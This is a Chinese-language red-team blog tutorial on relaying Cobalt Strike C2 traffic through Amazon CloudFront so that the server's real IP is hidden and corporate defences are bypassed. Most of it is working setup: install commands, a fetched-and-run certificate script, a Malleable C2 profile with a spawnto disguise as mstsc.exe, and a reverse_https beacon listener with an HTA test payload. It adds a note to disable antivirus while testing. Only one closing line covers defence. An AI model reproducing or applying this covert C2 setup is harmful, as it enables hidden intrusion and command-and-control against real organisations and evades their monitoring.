利用CloudFront中继Cobalt Strike流量:绕过检测与隐藏C2服务器

本文详细介绍了如何利用Amazon CloudFront服务中继Cobalt Strike命令与控制流量,以隐藏C2服务器真实IP、绕过企业防护策略,并逐步指导设置域名、HTTPS证书、CloudFront分发及生成定制化C2配置文件。

利用CloudFront中继Cobalt Strike流量

Brian Fehrman //

许多读者可能听说过域前置(Domain Fronting)技术。域前置是一种让C2流量伪装成目标公司流量、混淆来源的技术,对红队隐藏流量非常有效。Amazon CloudFront曾是实现域前置的流行服务,但近期CloudFront的更改导致其无法再与Cobalt Strike配合进行域前置。这是否意味着CloudFront对Cobalt Strike毫无用处了?我认为并非如此!CloudFront仍有以下优势:

  • 无需为C2流量使用已分类域名
  • 流量在一定程度上与CDN流量混合
  • 部分公司白名单了CloudFront
  • 隐藏源IP,降低整个C2基础设施暴露风险
  • 流量仍通过HTTPS传输

本文将逐步讲解如何配置CloudFront与Cobalt Strike协同工作。主要步骤包括:

  1. 设置Cobalt Strike(CS)服务器
  2. 注册域名并指向CS服务器
  3. 为域名生成HTTPS证书
  4. 创建CloudFront分发指向域名
  5. 生成利用HTTPS证书和CloudFront分发的CS配置文件
  6. 生成CS载荷测试配置

1. 设置Cobalt Strike(CS)服务器

在Digital Ocean上部署基于Debian的节点(称为“你的服务器”)。运行以下命令更新系统并安装OpenJDK(Cobalt Strike所需):

1
apt-get update && apt-get upgrade -y && apt-get install -y openjdk-8-jdk-headless

https://www.cobaltstrike.com/download下载最新Cobalt Strike .tgz文件,上传至服务器。解压文件并安装:

1
tar -xvf cobaltstrike-trial.tgz && cd cobaltstrike && ./update

此时需输入许可证密钥。CS服务器初步设置完成,后续步骤中会进行更多配置。


2. 注册域名并指向CS服务器

注册域名以生成HTTPS证书。CloudFront要求域名具有有效HTTPS证书,且指向运行Apache等服务的服务器以验证证书有效性。域名无需已分类,简化了流程。推荐使用nameilo.com注册域名(例如bhisblogtest.xyz,年费$0.99),因其提供免费WHOIS隐私保护且无额外ICANN费用。

注册后,在nameilo.com中更新DNS记录:删除默认记录,创建一条A记录指向服务器IP(例如159.65.46.217)。等待DNS记录传播(约10-15分钟),使用nslookup验证:

1
nslookup bhisblogtest.xyz

若无法使用nslookup,先安装dnsutils:

1
apt-get install -y dnsutils

3. 为域名生成HTTPS证书

使用LetsEncrypt和@KillSwitch-GUI的HTTPsC2DoneRight.sh脚本免费生成证书。在服务器上安装依赖:

1
apt-get install -y git lsof

下载并运行脚本:

1
cd && wget https://raw.githubusercontent.com/killswitch-GUI/CobaltStrike-ToolKit/master/HTTPsC2DoneRight.sh && chmod +x HTTPsC2DoneRight.sh && ./HTTPsC2DoneRight.sh

输入域名、HTTPS证书密码和cobaltstrike文件夹路径。脚本运行后,在cobaltstrike/httpsProfile文件夹中生成amazon.profile文件和Java Keystore。使用tail查看amazon.profile末尾四行https-certificate信息,后续步骤需要。

验证证书:通过浏览器访问https://<你的域名>,应看到Apache默认页且无证书错误。


4. 创建CloudFront分发指向域名

登录AWS CloudFront控制台(https://console.aws.amazon.com/cloudfront/home),创建分发:

  • 点击“Create Distribution”
  • 在“Web”部分点击“Get Started”
  • 在“Origin Domain Name”字段输入域名,“Origin ID”自动填充
  • 其余设置参考截图(未显示部分保持默认)
  • 点击“Create Distribution”

分发创建后,记下cloudfront.net地址(用于后续步骤)。等待状态变为“Deployed”(约10-15分钟)。测试分发:访问https://<你的cloudfront.net地址>,应看到Apache默认页且无证书错误。


5. 生成利用HTTPS证书和CloudFront分发的CS配置文件

使用bluescreenofjeff的Malleable-C2-Randomizer脚本生成随机CS配置文件(推荐Pandora.profile模板):

1
2
cd && git clone https://github.com/bluscreenofjeff/Malleable-C2-Randomizer && cd Malleable-C2-Randomizer
python malleable-c2-randomizer.py -profile Sample\ Templates/Pandora.profile -notest

将生成的配置文件复制到cobaltstrike/httpsProfile文件夹。进入该文件夹:

1
cd /root/cobaltstrike/httpsProfile

将amazon.profile末尾四行https-certificate信息粘贴到新Pandora配置文件的底部。添加以下行修改生成进程(提升操作安全性):

1
2
3
4
post-ex {        
    set spawnto_x86 "%windir%\\syswow64\\mstsc.exe";
    set spawnto_x64 "%windir%\\sysnative\\mstsc.exe";
}

在配置文件中找到两处“Host”字段,将其值改为你的cloudfront.net地址。停止Apache服务以避免与CS监听器冲突:

1
service apache2 stop

启动CS Team Server(使用新配置文件):

1
2
cd /root/cobaltstrike
./teamserver <CS服务器IP> <服务器密码> <Pandora配置文件路径> <C2终止日期>

6. 生成CS载荷测试配置

在CS客户端中连接Team Server,添加新监听器:

  • 名称自定义(例如rhttps)
  • 载荷选择windows/beacon_https/reverse_https
  • “Host”字段输入CloudFront分发地址
  • “Port”字段输入443
  • 保存后,在弹出窗口中输入CloudFront地址作为信标域名

生成载荷测试(注意:默认载荷易被AV检测,需额外处理;此处为测试可临时禁用AV)。选择“HTML Application”载荷格式,监听器选择rhttps,方法选择“Executable”,生成并运行载荷。在CS客户端中观察会话是否建立。


防护措施

阻止攻击者利用CloudFront中继并不简单,因为完全禁用CloudFront可能影响企业正常业务。建议实施强应用程序白名单策略,从根本上防止用户运行恶意载荷。


结论

利用CloudFront中继C2服务器可绕过环境中的多种防护并隐藏C2源IP。本文详细介绍了设置CloudFront分发、配置Cobalt Strike的完整步骤。后续文章将讨论生成免杀CS载荷的技术。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计